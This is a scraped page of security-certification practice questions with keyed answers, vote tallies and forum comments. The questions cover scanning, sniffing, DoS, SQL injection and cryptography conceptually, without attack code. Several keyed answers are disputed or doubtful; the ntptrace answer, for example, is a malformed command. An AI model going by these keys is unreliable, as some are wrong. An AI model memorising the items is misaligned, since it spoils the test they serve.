Selected Answer: D

priority would be SSL/TLS encryption, regular updates and patching is an on-going task that should be going all the times..  
upvoted 1 times

✉ **LoveBug4** 3 months ago

Selected Answer: D

For any website, first priority should be SSL/TLS  
upvoted 1 times

✉ **insaniunt** 7 months, 2 weeks ago

Selected Answer: C

C. Regularly updating and patching the server software.

Regularly updating and patching the server software is a critical security measure.  
upvoted 3 times

A sophisticated attacker targets your web server with the intent to execute a Denial of Service (DoS) attack. His strategy involves a unique mixture of TCP SYN, UDP, and ICMP floods, using ' $r$ ' packets per second. Your server, reinforced with advanced security measures, can handle ' $h$ ' packets per second before it starts showing signs of strain. If ' $r$ ' surpasses ' $h$ ', it overwhelms the server, causing it to become unresponsive. In a peculiar pattern, the attacker selects ' $r$ ' as a composite number and ' $h$ ' as a prime number, making the attack detection more challenging. Considering ' $r=2010$ ' and different values for ' $h$ ', which of the following scenarios would potentially cause the server to falter?

- A.  $h=1987$  (prime): The attacker's packet rate exceeds the server's capacity, causing potential unresponsiveness.
- B.  $h=1999$  (prime): Despite the attacker's packet flood, the server can handle these requests, remaining responsive.
- C.  $h=1993$  (prime): Despite being less than ' $r$ ', the server's prime number capacity keeps it barely operational, but the risk of failing is imminent.
- D.  $h=2003$  (prime): The server can manage more packets than the attacker is sending, hence it stays operational.

Correct Answer: A

*Community vote distribution*

A (100%)

✉️  49f4430 4 months, 1 week ago

common ECC all this question for telling us A> B  
upvoted 1 times

✉️  qwerty100 7 months, 1 week ago

Selected Answer: A  
A.  $h=1987$  (prime): The attacker's packet rate exceeds the server's capacity, causing potential unresponsiveness.  
upvoted 1 times

✉️  Nopez 7 months, 2 weeks ago

Selected Answer: A  
A. If ' $r$ ' surpasses ' $h$ ', it'll overwhelm. That means if 2010 surpasses 1987 (it does), it'll cause problems.  
upvoted 2 times

An IT security team is conducting an internal review of security protocols in their organization to identify potential vulnerabilities. During their investigation, they encounter a suspicious program running on several computers. Further examination reveals that the program has been logging all user keystrokes. How can the security team confirm the type of program and what countermeasures should be taken to ensure the same attack does not occur in the future?

- A. The program is spyware; the team should use password managers and encrypt sensitive data.
- B. The program is a keylogger; the team should employ intrusion detection systems and regularly update the system software.
- C. The program is a keylogger; the team should educate employees about phishing attacks and maintain regular backups.
- D. The program is a Trojan; the team should regularly update antivirus software and install a reliable firewall.

Correct Answer: B

*Community vote distribution*

B (100%)

✉️  insanaint 7 months, 2 weeks ago

Selected Answer: B  
B. The program is a keylogger; the team should employ intrusion detection systems and regularly update the system software.  
upvoted 3 times

Being a Certified Ethical Hacker (CEH), a company has brought you on board to evaluate the safety measures in place for their network system. The company uses a network time protocol server in the demilitarized zone. During your enumeration, you decide to run a ntptrace command. Given the syntax: ntptrace [-n] [-m maxhosts] [servername/IP\_address], which command usage would best serve your objective to find where the NTP server obtains the time from and to trace the list of NTP servers connected to the network?

- A. ntptrace -n -m 5192.168.1.1
- B. ntptrace -m 5192.168.1.1
- C. ntptrace -n localhost
- D. ntptrace 192.168.1.1

Correct Answer: **B**

*Community vote distribution*

D (83%) A (17%)

✉  **noyon2002** 1 month, 2 weeks ago

I am confused in the book CEH V12 Module 4 Page it is clearly mentioned A, and most of people are answering D  
upvoted 1 times

✉  **noyon2002** 1 month, 2 weeks ago

Page 446  
upvoted 1 times

✉  **g\_man\_rap** 5 months ago

A. ntptrace -n -m 5192.168.1.1

This usage is incorrect because -m expects a numerical argument that specifies the maximum number of hosts to trace, not an IP address.

B. ntptrace -m 5192.168.1.1

Similar to option A, this is a misuse of the -m option. It wrongly places an IP address where a number should be, indicating the depth of the trace.

C. ntptrace -n localhost

This command will start tracing from the local host, and the -n option will ensure that the output remains numerical (IP addresses only), which might not be as informative if you're unfamiliar with the IPs but does provide clean data output.

D. ntptrace 192.168.1.1

This is the basic form of the command and correctly targets an NTP server by IP address. It lacks any specific options for depth of trace (-m) or format (-n), but correctly initiates a trace to the specified server.

upvoted 1 times

✉  **Spam\_Protection** 6 months, 3 weeks ago

Selected Answer: D

It's D.

A &B: You're not trying to find max host but trace source of time.

C: you use the -n command which means it should give you IP of local host(127.0.0.1) instead of local host , host name.

upvoted 2 times

✉  **qtygbapjpesdayazko** 6 months, 3 weeks ago

Selected Answer: D

D. ntptrace 192.168.1.1

upvoted 1 times

✉  **qtygbapjpesdayazko** 6 months, 2 weeks ago

A and B are note valid, missing a space and parameter N and M are optional.

And the NTP server is not localhost.

upvoted 1 times

✉  **athicalacker** 7 months ago

Selected Answer: D

The -n option is not necessary unless you prefer to see IP addresses instead of hostnames, and the -m option is not necessary unless you want to limit the number of hosts traced. Option C would only be correct if you were running the command on the NTP server itself and you wanted to see IP addresses instead of hostnames. So, the correct answer is option D, ntptrace 192.168.1.1.

upvoted 2 times

LeongCC 7 months, 1 week ago

Selected Answer: A

I think A is more suitable  
upvoted 1 times

duke\_of\_kamulu 7 months, 1 week ago

CEHv12 pg 446 CORRECT ANSWER is A ntptrace This command determines where the NTP server obtains the time from and follows the chain of NTP servers back to its primary time source. Attackers use this command to trace the list of NTP servers connected to the network. Its syntax is as follows: ntptrace [-n] [-m maxhosts] [servername/IP\_address]

upvoted 1 times

qwerty100 7 months, 2 weeks ago

I think is D. ntptrace 192.168.1.1  
-m and -n are optional  
upvoted 3 times

athicalacker 7 months ago

Exactly!

upvoted 2 times

insaniunt 7 months, 2 weeks ago

5192.168.1.1?  
if: B. ntptrace -m 192.168.1.1 thats correct  
upvoted 1 times

Question #223

Topic 1

A Certified Ethical Hacker is attempting to gather information about a target organization's network structure through network footprinting. During the operation, they encounter ICMP blocking by the target system's firewall. The hacker wants to ascertain the path that packets take to the host system from a source, using an alternative protocol. Which of the following actions should the hacker consider next?

- A. Use UDP Traceroute in the Linux operating system by executing the 'traceroute' command with the destination IP or domain name.
- B. Use the ICMP Traceroute on the Windows operating system as it is the default utility.
- C. Use the ARIN Whois database search tool to find the network range of the target network.
- D. Utilize the Path Analyzer Pro to trace the route from the source to the destination target systems.

Correct Answer: A

Community vote distribution

A (100%)

LordXander 6 months ago

Selected Answer: A

UDP..because most defences are not configured for UDP (don't ask how I know that)  
upvoted 1 times

insaniunt 7 months, 2 weeks ago

Selected Answer: A

A. Use UDP Traceroute in the Linux operating system by executing the 'traceroute' command with the destination IP or domain name.

When ICMP is blocked by a firewall, you can use alternative protocols like UDP for tracerouting. In Linux, the 'traceroute' command allows you to specify the UDP protocol using the '-U' option.

upvoted 2 times

An ethical hacker is preparing to scan a network to identify live systems. To increase the efficiency and accuracy of his scans, he is considering several different host discovery techniques. He expects several unused IP addresses at any given time, specifically within the private address range of the LAN, but he also anticipates the presence of restrictive firewalls that may conceal active devices. Which scanning method would be most effective in this situation?

- A. ICMP ECHO Ping Sweep
- B. ICMP Timestamp Ping
- C. TCP SYN Ping
- D. ARP Ping Scan

Correct Answer: D

*Community vote distribution*

D (80%) C (20%)

✉  g\_man\_rap 5 months ago

D. ARP Ping Scan

ARP (Address Resolution Protocol) Ping is used to resolve IP addresses to MAC addresses within the same broadcast domain (local network). Since ARP does not traverse routers and is not blocked by firewalls within the local network, it provides a reliable method for discovering hosts on the local subnet, even if they are configured to block ICMP and TCP/IP traffic.

upvoted 1 times

✉  qtygbapjpesdayazko 6 months, 2 weeks ago

Selected Answer: D

Is D, arp scan. Keyword "private address range of the LAN".

upvoted 1 times

✉  brrbrr 7 months, 1 week ago

Selected Answer: C

TCP SYN Ping (C): This method sends TCP SYN packets to specific ports. It is more stealthy than ICMP-based methods and can bypass firewalls. If a device responds with a SYN-ACK, it indicates the device is active.

upvoted 1 times

✉  brrbrr 7 months, 1 week ago

actually, D is the correct answer. The presence of the keyword LAN indicates that the ethical hacker performs his testing on LAN, thus ARP Ping Scan is the more convenient scanning technique here.

upvoted 3 times

✉  insaniunt 7 months, 2 weeks ago

Selected Answer: D

D. ARP Ping Scan

upvoted 3 times

A penetration tester is tasked with gathering information about the subdomains of a target organization's website. The tester needs a versatile and efficient solution for the task. Which of the following options would be the most effective method to accomplish this goal?

- A. Analyzing LinkedIn profiles to find employees of the target company and their job titles
- B. Employing a tool like Sublist3r, which is designed to enumerate the subdomains of websites using OSINT
- C. Using a people search service, such as Spokeo or Intelius, to gather information about the employees of the target organization
- D. Utilizing the Harvester tool to extract email addresses related to the target domain using a search engine like Google or Bing

Correct Answer: *B*

*Community vote distribution*

B (100%)

✉  **dobarb** 6 months, 3 weeks ago

Answer is B as per CEH page 134.  
upvoted 1 times

✉  **xbsumz** 7 months, 2 weeks ago

Ethical hacking experts can you verify this procedure  
upvoted 1 times

✉  **insaniunt** 7 months, 2 weeks ago

Selected Answer: B

B. Employing a tool like Sublist3r, which is designed to enumerate the subdomains of websites using OSINT  
upvoted 3 times

Your network infrastructure is under a SYN flood attack. The attacker has crafted an automated botnet to simultaneously send ' $s$ ' SYN packets per second to the server. You have put measures in place to manage ' $f$ ' SYN packets per second, and the system is designed to deal with this number without any performance issues. If ' $s$ ' exceeds ' $f$ ', the network infrastructure begins to show signs of overload. The system's response time increases exponentially ( $2^k$ ), where ' $k$ ' represents each additional SYN packet above the ' $f$ ' limit. Now, considering ' $s=500$ ' and different ' $f$ ' values, in which scenario is the server most likely to experience overload and significantly increased response times?

- A.  $f=510$ : The server can handle 510 SYN packets per second, which is greater than what the attacker is sending. The system stays stable, and the response time remains unaffected.
- B.  $f=495$ : The server can handle 495 SYN packets per second. The response time drastically rises ( $2^5 = 32$  times the normal), indicating a probable system overload.
- C.  $f=505$ : The server can handle 505 SYN packets per second. In this case, the response time increases but not as drastically ( $2^5 = 32$  times the normal), and the system might still function, albeit slowly.
- D.  $f=490$ : The server can handle 490 SYN packets per second. With ' $s$ ' exceeding ' $f$ ' by 10, the response time shoots up ( $2^{10} = 1024$  times the usual response time), indicating a system overload.

Correct Answer: D

*Community vote distribution*

D (100%)

✉️  qtygbapjpesdayazko 6 months, 3 weeks ago

Selected Answer: D

D.  $f=490$ : The server can handle 490 SYN packets per second. With ' $s$ ' exceeding ' $f$ ' by 10, the response time shoots up ( $2^{10} = 1024$  times the usual response time), indicating a system overload.

upvoted 1 times

✉️  xbsumz 7 months, 2 weeks ago

Could someone confirm the effectiveness of this ethical hacking method

upvoted 1 times

✉️  insanaint 7 months, 2 weeks ago

Selected Answer: D

D.  $f=490$ : The server can handle 490 SYN packets per second. With ' $s$ ' exceeding ' $f$ ' by 10, the response time shoots up ( $2^{10} = 1024$  times the usual response time), indicating a system overload.

upvoted 2 times

A penetration tester is conducting an assessment of a web application for a financial institution. The application uses form-based authentication and does not implement account lockout policies after multiple failed login attempts. Interestingly, the application displays detailed error messages that disclose whether the username or password entered is incorrect. The tester also notices that the application uses HTTP headers to prevent clickjacking attacks but does not implement Content Security Policy (CSP). With these observations, which of the following attack methods would likely be the most effective for the penetration tester to exploit these vulnerabilities and attempt unauthorized access?

- A. The tester could exploit a potential SQL Injection vulnerability to manipulate the application's database.
- B. The tester could execute a Brute Force attack, leveraging the lack of account lockout policy and the verbose error messages to guess the correct credentials.
- C. The tester could execute a Man-in-the-Middle (MitM) attack to intercept and modify the HTTP headers for a Clickjacking attack.
- D. The tester could launch a Cross-Site Scripting (XSS) attack to steal authenticated session cookies, potentially bypassing the clickjacking protection.

Correct Answer: **B**

*Community vote distribution*

B (100%)

✉️  **LordXander** 5 months, 4 weeks ago

Selected Answer: B

Because there's no account lockout mechanism and have detailed information whatever the username or password is wrong, the brute force method makes the most sense

B

upvoted 1 times

✉️  **xbsumz** 7 months, 2 weeks ago

Could someone confirm the accuracy of this CEH technique

upvoted 1 times

✉️  **Lalo** 6 months, 1 week ago

1.- It is not an exclusive technique of CEH, it is a general technique to crack passwords  
2.- When reading the scenario it indicates ...does not implement account lockout policies after multiple failed login attempts...  
Therefore the correct option is option b.  
3.- If you read the scenario carefully and know a little about security, you come to this conclusion

upvoted 1 times

✉️  **insaniunt** 7 months, 2 weeks ago

Selected Answer: B

B. The tester could execute a Brute Force attack, leveraging the lack of account lockout policy and the verbose error messages to guess the correct credentials.

upvoted 2 times

In a large organization, a network security analyst discovered a series of packet captures that seem unusual. The network operates on a switched Ethernet environment. The security team suspects that an attacker might be using a sniffer tool. Which technique could the attacker be using to successfully carry out this attack, considering the switched nature of the network?

- A. The attacker might be compromising physical security to plug into the network directly.
- B. The attacker might be implementing MAC flooding to overwhelm the switch's memory.
- C. The attacker is probably using a Trojan horse with in-built sniffing capability.
- D. The attacker might be using passive sniffing, as it provides significant stealth advantages.

Correct Answer: B

*Community vote distribution*

|         |         |
|---------|---------|
| B (81%) | C (19%) |
|---------|---------|

✉  g\_man\_rap 5 months ago

Option B, MAC flooding to overwhelm the switch's memory, is the most plausible technique that an attacker might use in a switched network environment to enable traffic sniffing broadly across the network. This method effectively makes the switch behave more like a hub, broadcasting traffic to all connected devices and thus enabling a sniffer to capture traffic not originally intended for the attacker's connected device.

upvoted 1 times

✉  LordXander 5 months, 4 weeks ago

Selected Answer: B

I would've gone with C/D because it makes more sense, however we have more packages than usual and C would fail because in sniffing you don't generate packages...you just inspect them.

D...well, we see activity generated so it cannot be

upvoted 1 times

✉  mossj 6 months, 1 week ago

Selected Answer: B

B: MAC flooding

MAC flooding makes use of this limitation to bombard switches with fake MAC addresses until the switches can no longer keep up. Once this happens to a switch, it will enter fail-open mode, wherein it starts acting as a hub by broadcasting packets to all the ports on the switch.

upvoted 1 times

✉  qtygbapjpesdayazko 6 months, 2 weeks ago

Selected Answer: B

The correct is B, MAC flooding, the keyword is "Which technique"

upvoted 1 times

✉  calx5 7 months, 1 week ago

Selected Answer: B

MAC flooding for switch environment.

upvoted 1 times

✉  duke\_of\_kamulu 7 months, 1 week ago

according to the CEHv12 pg 1214 we have passive n active but been an attack we see more packets flooded so we eliminate the possibility of it been a trojan horse "passively monitoring" to actively sniffing so the ANSWER becomes B

upvoted 2 times

✉  insanint 7 months, 1 week ago

Selected Answer: B

I read once again the book:

To summarize the types of sniffing: passive sniffing does not send any packets; it only monitors the packets sent by others. Active sniffing involves sending out multiple network probes to identify access points. The following is a list of different active sniffing techniques:

- MAC flooding

- switch is vulnerable to active sniffing only.
- Trojan horse is a passive sniffing methods

Module 08 Page 1214

upvoted 4 times

✉  athicalacker 7 months, 1 week ago

Selected Answer: B

The key here is unusual packet captures.

MAC flooding involves sending a large number of spoofed MAC addresses to a switch, causing it to enter into a state where it forwards traffic to all ports, effectively turning it into a hub-like device. This could result in a flood of traffic that might be detected as unusual by network monitoring tools.

upvoted 3 times

✉ **qtygbapjpesdayazko** 6 months, 3 weeks ago

This is the way

upvoted 1 times

✉ **przemyslaw1** 7 months, 2 weeks ago

Selected Answer: B

B. The attacker might be implementing MAC flooding to overwhelm the switch's memory.

MAC flooding force the switch into a less secure fail-open mode.

upvoted 2 times

✉ **insaniunt** 7 months, 2 weeks ago

Selected Answer: C

Using a Trojan horse: Most Trojans have in-built sniffing capability. An attacker can install these on a victim's machine to compromise it. After compromising the victim's machine, the attacker can install a packet sniffer and perform sniffing.

Most modern networks use switches instead of hubs. A switch eliminates the risk of passive sniffing. However, a switch is still vulnerable to active sniffing. Note: Passive sniffing provides significant stealth advantages over active sniffing - Module 08 Page 1214

upvoted 1 times

✉ **sogbe** 7 months, 2 weeks ago

Selected Answer: C

Important thing to note here is that in the question they say you have "Discovered a series of packet captures which seem unusual" it's not saying that the Security staff have run those network captures but that they have found files of packet captures having been run by a presumably unknown party.

I would think one of the only real ways that you are going to have packet capture files left on PC's on your network is if those PCs have had capturing software installed on them covertly by a Trojan virus and that software is now running scans from the infected PCs.

Once you understand that the Security staff is finding network scanner files and is not the one doing the scanning, the Trojan horse answer is the only one which makes sense here.

upvoted 2 times

✉ **sogbe** 7 months, 2 weeks ago

Important thing to note here is that in the question they say you have "Discovered a series of packet captures which seem unusual" it's not saying that the Security staff have run those network captures but that they have found files of packet captures having been run by a presumably unknown party.

I would think one of the only real ways that you are going to have packet capture files left on PC's on your network is if those PCs have had capturing software installed on them covertly by a Trojan virus and that software is now running scans from the infected PCs.

Once you understand that the Security staff is finding network scanner files and is not the one doing the scanning, the Trojan horse answer is the only one which makes sense here.

upvoted 1 times

✉ **rorahir** 7 months, 3 weeks ago

Ethical hacking specialists could you please check if this approach is correct"

upvoted 2 times

You are a cybersecurity consultant for a smart city project. The project involves deploying a vast network of IoT devices for public utilities like traffic control, water supply, and power grid management. The city administration is concerned about the possibility of a Distributed Denial of Service (DDoS) attack crippling these critical services. They have asked you for advice on how to prevent such an attack. What would be your primary recommendation?

- A. Implement regular firmware updates for all IoT devices.
- B. Establish strong, unique passwords for each IoT device.
- C. Deploy network intrusion detection systems (IDS) across the IoT network.
- D. Implement IP address whitelisting for all IoT devices.

Correct Answer: C

*Community vote distribution*

D (86%) 14%

✉️  qtygbapjpesdayazko 6 months, 2 weeks ago

Selected Answer: D

D. Implement IP address whitelisting for all IoT devices.

IDS is for detection, not prevention (IPS), so a whitelisting is the way for a good prevention.

upvoted 3 times

✉️  qwerty100 7 months ago

Selected Answer: D

D. Implement IP address whitelisting for all IoT devices.

IDSs can't stop DDOS

upvoted 3 times

✉️  qtygbapjpesdayazko 6 months, 3 weeks ago

This is the way

upvoted 1 times

✉️  insanaint 7 months, 2 weeks ago

Selected Answer: C

C. Deploy network intrusion detection systems (IDS) across the IoT network.

While maintaining the security of IoT devices involves various measures, in the context of preventing Distributed Denial of Service (DDoS) attacks on a smart city's IoT infrastructure, deploying network intrusion detection systems (IDS) would be a crucial recommendation

upvoted 1 times

✉️  [Removed] 6 months, 3 weeks ago

It's D. in case of a DDOS, the IDS isn't able to handle all that traffic.

upvoted 1 times

✉️  rorahir 7 months, 3 weeks ago

Ethical hacking specialists could you please check if this approach is correct"

upvoted 1 times

Consider a scenario where a Certified Ethical Hacker is attempting to infiltrate a company's network without being detected. The hacker intends to use a stealth scan on a BSD-derived TCP/IP stack, but he suspects that the network security devices may be able to detect SYN packets. Based on this information, which of the following methods should he use to bypass the detection mechanisms and why?

- A. Maimon Scan, because it is very similar to NULL, FIN, and Xmas scans, but the probe used here is FIN/ACK
- B. Xmas Scan, because it can pass through filters undetected, depending on the security mechanisms installed
- C. TCP Connect/Full-Open Scan, because it completes a three-way handshake with the target machine
- D. ACK Flag Probe Scan, because it exploits the vulnerabilities within the BSD-derived TCP/IP stack

Correct Answer: B

*Community vote distribution*

D (83%)

B (17%)

✉  NikeshMaharaj 3 days, 16 hours ago

i think its option A:

To bypass detection mechanisms on a BSD-derived TCP/IP stack, the Certified Ethical Hacker should use:

- A. Maimon Scan, because it is very similar to NULL, FIN, and Xmas scans, but the probe used here is FIN/ACK

The Maimon Scan is effective because it sends a FIN/ACK probe, which can exploit certain vulnerabilities in the TCP/IP stack of BSD-derived systems. This type of scan is less likely to be detected by network security devices that are configured to detect SYN packets, making it a suitable choice for stealth scanning.

upvoted 1 times

✉  g\_man\_rap 5 months ago

Option D, ACK Flag Probe Scan, is the most appropriate choice. This scan can provide insights into the network's filtering behavior without the usual risks of detection associated with opening a full connection or sending irregular flag combinations, making it a more discreet option for initial reconnaissance, especially in environments that are sensitive to SYN packets.

upvoted 1 times

✉  qtygbapjpesdayazko 6 months, 2 weeks ago

**Selected Answer: D**

The correct is D. Keyword "BSD-derived TCP/IP stack", BSD have a limitation in TCP/IP stack.

ACK Flag Probe Scan

Attackers send TCP probe packets with the ACK flag set to a remote device and then analyze the header information (TTL and WINDOW field) of the received RST packets to find out if the port is open or closed. The ACK flag probe scan exploits the vulnerabilities within the BSD-derived TCP/IP stack. Thus, such scanning is effective only on those OSs and platforms on which the BSD derives TCP/IP stacks.

Module 03 Page 312

upvoted 1 times

✉  przemyslaw1 7 months, 2 weeks ago

**Selected Answer: D**

Attackers send TCP probe packets with the ACK flag set to a remote device and then analyze the header information (TTL and WINDOW field) of the received RST packets to find out if the port is open or closed. The ACK flag probe scan exploits the vulnerabilities within the BSD-derived TCP/IP stack. Thus, such scanning is effective only on those OSs and platforms on which the BSD derives TCP/IP stacks.

upvoted 2 times

✉  Nopez 7 months, 2 weeks ago

**Selected Answer: D**

D. via research

upvoted 1 times

✉  insaniant 7 months, 2 weeks ago

**Selected Answer: B**

B. Xmas Scan, because it can pass through filters undetected, depending on the security mechanisms installed.

A Xmas Scan is a type of TCP port scan where the attacker sends TCP packets with the FIN, URG, and PSH flags set to target a specific range of ports. This scan is designed to evade detection mechanisms that may be configured to detect SYN packets or other standard scanning techniques.

upvoted 1 times

✉  insaniant 7 months, 2 weeks ago

Module 03 Page 308 and 309

upvoted 1 times

✉  **qwertyst100** 7 months, 3 weeks ago

**Selected Answer: D**

I am not very sure, but I think it's D

(Module 03 Page 311and 312)

ACK Flag Probe Scan Attackers send TCP probe packets with the ACK flag set to a remote device and then analyze the header information (TTL and WINDOW field) of the received RST packets to find out if the port is open or closed. The ACK flag probe scan exploits the vulnerabilities within the BSD-derived TCP/IP stack. Thus, such scanning is effective only on those OSs and platforms on which the BSD derives TCP/IP stacks.

upvoted 1 times

Question #231

*Topic 1*

While performing a security audit of a web application, an ethical hacker discovers a potential vulnerability. The application responds to logically incorrect queries with detailed error messages that divulge the underlying database's structure. The ethical hacker decides to exploit this vulnerability further. Which type of SQL Injection attack is the ethical hacker likely to use?

- A. UNION SQL Injection
- B. Error-based SQL Injection
- C. In-band SQL Injection
- D. Blind/Inferential SQL Injection

Correct Answer: **B**

*Community vote distribution*

B (100%)

✉  **LordXander** 5 months, 4 weeks ago

**Selected Answer: B**

CEH 2218 - error based sql injection - B

upvoted 1 times

✉  **insaniunt** 7 months, 2 weeks ago

**Selected Answer: B**

B. Error-based SQL Injection

In an Error-based SQL Injection attack, the attacker intentionally injects malicious SQL code into user input fields to provoke an error in the database. The application, if not properly secured, may then reveal detailed error messages that expose information about the underlying database structure

upvoted 2 times

✉  **rorahir** 7 months, 3 weeks ago

Im unsure about the accuracy of this statement"

upvoted 1 times

You are a security analyst of a large IT company and are responsible for maintaining the organization's security posture. You are evaluating multiple vulnerability assessment tools for your network. Given that your network has a hybrid IT environment with on-premise and cloud assets, which tool would be most appropriate considering its comprehensive coverage and visibility, continuous scanning, and ability to monitor unexpected changes before they turn into breaches?

- A. GFI LanGuard
- B. Qualys Vulnerability Management
- C. Open VAS
- D. Nessus Professional

Correct Answer: **B**

*Community vote distribution*

B (100%)

✉  **qtygbapjpesdayazko** 5 months, 4 weeks ago

keyword, cloud and onprem. Qualys Vulnerability Management  
upvoted 1 times

✉  **brrbrr** 7 months, 1 week ago

**Selected Answer: B**

Qualys is known for its cloud-based vulnerability management solution, providing continuous monitoring, scanning, and assessment capabilities for both on-premise and cloud environments.  
upvoted 2 times

✉  **duke\_of\_kamulu** 7 months, 1 week ago

pg 556 Qualys VM is a cloud-based service that gives immediate, global visibility into where IT systems might be vulnerable to the latest Internet threats and how to protect them. It helps to continuously identify threats and monitor unexpected changes in a network before they turn into breaches.

upvoted 1 times

✉  **insaniunt** 7 months, 2 weeks ago

**Selected Answer: B**

Qualys Vulnerability Management Source:

Qualys VM is a cloud-based service that gives immediate, global visibility into where IT systems might be vulnerable to the latest Internet threats and how to protect them. It helps to continuously identify threats and monitor unexpected changes in a network before they turn into breaches.  
upvoted 1 times

✉  **rorahir** 7 months, 3 weeks ago

Im not certain about the reliability of that information"  
upvoted 1 times

Martin, a Certified Ethical Hacker (CEH), is conducting a penetration test on a large enterprise network. He suspects that sensitive information might be leaking out of the network. Martin decides to use network sniffing as part of his testing methodology. Which of the following sniffing techniques should Martin employ to get a comprehensive understanding of the data flowing across the network?

- A. Raw Sniffing
- B. MAC Flooding
- C. ARP Poisoning
- D. DNS Poisoning

Correct Answer: A

*Community vote distribution*

A (100%)

✉️  qtygbapjpesdayazko 5 months, 4 weeks ago

Selected Answer: A

keyword "network sniffing", Raw Sniffing, all other will cause problems.

upvoted 1 times

✉️  brrbrr 7 months, 1 week ago

Selected Answer: A

Raw sniffing involves capturing and analyzing network traffic at the raw data link layer, allowing an analyst to inspect the actual content of packets. Moreover, this is the only sniffing technique proposed here, other options are considered as sniffing attacks.

upvoted 3 times

✉️  insanaint 7 months, 2 weeks ago

Selected Answer: A

A. Raw Sniffing

upvoted 1 times

✉️  rorahir 7 months, 3 weeks ago

Team is this ethical hacking approach correct"

upvoted 1 times

As a cybersecurity consultant for SafePath Corp, you have been tasked with implementing a system for secure email communication. The key requirement is to ensure both confidentiality and non-repudiation. While considering various encryption methods, you are inclined towards using a combination of symmetric and asymmetric cryptography. However, you are unsure which cryptographic technique would best serve the purpose. Which of the following options would you choose to meet these requirements?

- A. Apply asymmetric encryption with RSA and use the private key for signing.
- B. Use the Diffie-Hellman protocol for key exchange and encryption.
- C. Apply asymmetric encryption with RSA and use the public key for encryption.
- D. Use symmetric encryption with the AES algorithm.

Correct Answer: A

*Community vote distribution*

A (100%)

✉️  milktea810182 4 months, 2 weeks ago

Selected Answer: A

This option utilizes asymmetric encryption with RSA, which ensures confidentiality through encryption using the recipient's public key and utilizes the sender's private key for digital signing to achieve non-repudiation. By signing the email with the sender's private key, it ensures that the sender cannot later deny sending the message, providing a form of non-repudiation. This approach offers a robust solution for secure email communication meeting the specified requirements.

upvoted 1 times

✉️  qtygbapjpesdayazko 6 months, 1 week ago

Selected Answer: A

Apply asymmetric encryption with RSA and use the private key for signing.

upvoted 1 times

✉️  brrbrr 7 months, 1 week ago

Selected Answer: A

A - Apply asymmetric encryption with RSA and use the private key for signing:

Asymmetric encryption with RSA is suitable for confidentiality (encryption) when combined with the public key.

Using the private key for signing ensures that the sender is authentic, providing non-repudiation.

upvoted 1 times

✉️  insanaint 7 months, 2 weeks ago

Selected Answer: A

To meet the requirements of both confidentiality and non-repudiation in secure email communication, a combination of symmetric and asymmetric cryptography is commonly employed. Based on the options provided, the most suitable choice would be:

- A. Apply asymmetric encryption with RSA and use the private key for signing.

upvoted 1 times

✉️  rorahir 7 months, 3 weeks ago

Im a bit hesitant about the effectiveness of this ethical hacking approach"

upvoted 1 times

As a cybersecurity analyst for SecureNet, you are performing a security assessment of a new mobile payment application. One of your primary concerns is the secure storage of customer data on the device. The application stores sensitive information such as credit card details and personal identification numbers (PINs) on the device. Which of the following measures would best ensure the security of this data?

- A. Enable GPS tracking for all devices using the app.
- B. Regularly update the app to the latest version.
- C. Encrypt all sensitive data stored on the device.
- D. Implement biometric authentication for app access.

Correct Answer: C

*Community vote distribution*

C (100%)

✉️  **qwerty100** 7 months, 2 weeks ago

Selected Answer: C

C. Encrypt all sensitive data stored on the device.

upvoted 3 times

✉️  **insaniunt** 7 months, 2 weeks ago

Selected Answer: C

C. Encrypt all sensitive data stored on the device.

To ensure the security of sensitive data stored on a mobile device, especially credit card details and PINs, the most effective measure is to encrypt the data.

upvoted 2 times

✉️  **rorahir** 7 months, 3 weeks ago

Im unsure about the accuracy of this statement"

upvoted 1 times

A large multinational corporation is in the process of evaluating its security infrastructure to identify potential vulnerabilities. After a comprehensive analysis, they found multiple areas of concern, including time of check/time of use (TOC/TOU) errors, improper input handling, and poor patch management. Which of the following approaches will best help the organization mitigate the vulnerability associated with TOC/TOU errors?

- A. Regular patching of servers, firmware, operating system, and applications
- B. Ensuring atomicity of operations between checking and using data resources
- C. Frequently updating firewall configurations to prevent intrusion attempts
- D. Implementing stronger encryption algorithms for all data transfers

Correct Answer: **B**

*Community vote distribution*

B (100%)

✉  **LordXander** 5 months, 4 weeks ago

Selected Answer: B

CEH 547 - It's a race condition more or less, hence B  
upvoted 1 times

✉  **insaniunt** 7 months, 2 weeks ago

Selected Answer: B

B. Ensuring atomicity of operations between checking and using data resources

Time of Check/Time of Use (TOC/TOU) errors, also known as race conditions, occur when a system checks the status of a resource at one point in time and then uses that resource at a later point in time without proper synchronization. This time gap between checking and using the resource can lead to security vulnerabilities.

upvoted 3 times

✉  **rorahir** 7 months, 3 weeks ago

Could someone confirm the accuracy of this CEH technique"  
upvoted 1 times

A security analyst is preparing to analyze a potentially malicious program believed to have infiltrated an organization's network. To ensure the safety and integrity of the production environment, the analyst decided to use a sheep dip computer for the analysis. Before initiating the analysis, what key step should the analyst take?

- A. Install the potentially malicious program on the sheep dip computer.
- B. Store the potentially malicious program on an external medium, such as a CD-ROM.
- C. Run the potentially malicious program on the sheep dip computer to determine its behavior.
- D. Connect the sheep dip computer to the organization's internal network.

Correct Answer: B

*Community vote distribution*

B (100%)

✉️  qtygbapjpesdayazko 5 months, 4 weeks ago

keyword "Before initiating the analysis", store the malware in a CD-ROM.

upvoted 1 times

✉️  LordXander 5 months, 4 weeks ago

Selected Answer: B

I mean, none of the other option make sense (even B is questionable but is the least questionable one)

upvoted 2 times

✉️  qwerty100 7 months ago

Selected Answer: B

B. Store the potentially malicious program on an external medium, such as a CD-ROM.

upvoted 2 times

✉️  insanaint 7 months, 2 weeks ago

B. Store the potentially malicious program on an external medium, such as a CD-ROM.

- Module 07 Page 1085

upvoted 3 times

✉️  rorahir 7 months, 3 weeks ago

Team can you confirm if this is accurate"

upvoted 1 times

As an IT Security Analyst, you've been asked to review the security measures of an e-commerce website that relies on a SQL database for storing sensitive customer data. Recently, an anonymous tip has alerted you to a possible threat: a seasoned hacker who specializes in SQL Injection attacks may be targeting your system. The site already employs input validation measures to prevent basic injection attacks, and it blocks any user inputs containing suspicious patterns. However, this hacker is known to use advanced SQL Injection techniques. Given this situation, which of the following strategies would the hacker most likely adopt to bypass your security measures?

- A. The hacker might employ a 'blind' SQL Injection attack, taking advantage of the application's true or false responses to extract data bit by bit
- B. The hacker may resort to a DDoS attack instead, attempting to crash the server and thus render the e-commerce site unavailable
- C. The hacker may try to use SQL commands which are less known and less likely to be blocked by your system's security
- D. The hacker could deploy an 'out-of-band' SQL Injection attack, extracting data via a different communication channel, such as DNS or HTTP requests

Correct Answer: A

*Community vote distribution*

A (100%)

